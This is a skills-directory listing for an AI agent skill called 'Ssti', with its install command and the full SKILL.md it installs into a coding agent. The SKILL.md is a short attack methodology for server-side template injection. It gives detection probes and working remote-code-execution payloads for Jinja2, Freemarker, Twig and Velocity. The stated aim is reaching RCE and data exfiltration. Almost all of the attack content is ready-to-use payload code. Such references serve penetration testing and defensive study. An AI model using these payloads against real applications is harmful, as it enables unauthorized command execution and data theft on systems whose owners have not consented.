Skip to content
Back to skills

Ssti

ASecurity

Server-Side Template Injection expert methodology. Detection across Jinja2, Twig, Freemarker, Velocity, Mako, Smarty. Exploitation path from SSTI to RCE and data exfiltration.

  • 5 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 25, 2026
ai-agentspythonjavarubyphpshellexpressspringgit

Security analysis

A100/100

Scanned September 25, 2026

npx -y skills add sunilgentyala/OmniRed --skill ssti --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ssti?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ssti
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/sunilgentyala-ssti/badge)](https://www.skillsdirectory.com/skills/sunilgentyala-ssti)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ssti
description: Server-Side Template Injection expert methodology. Detection across Jinja2, Twig, Freemarker, Velocity, Mako, Smarty. Exploitation path from SSTI to RCE and data exfiltration.
version: 1.0.0
license: Apache-2.0
---

# Server-Side Template Injection (SSTI)

## Detection

Inject math expressions to detect template evaluation:

```
{{7*7}}         → 49   (Jinja2/Twig)
${7*7}          → 49   (Freemarker/JSP EL)
<%= 7*7 %>      → 49   (ERB)
#{7*7}          → 49   (Ruby Slim)
*{7*7}          → 49   (Spring EL)
{7*7}           → test (Smarty)
```

## Identification

```
{{7*'7'}}
→ 7777777  → Jinja2
→ 49       → Twig
```

## Exploitation by Engine

**Jinja2 (Python):**
```python
{{''.__class__.__mro__[1].__subclasses__()[401]('id',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

**Freemarker (Java):**
```
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
```

**Twig (PHP):**
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

**Velocity (Java):**
```
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
```

## Tools

- [tplmap](https://github.com/epinna/tplmap) — automated SSTI detection and exploitation
- Burp Suite Intruder — payload fuzzing

## OWASP Mapping

- A03:2021 — Injection

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.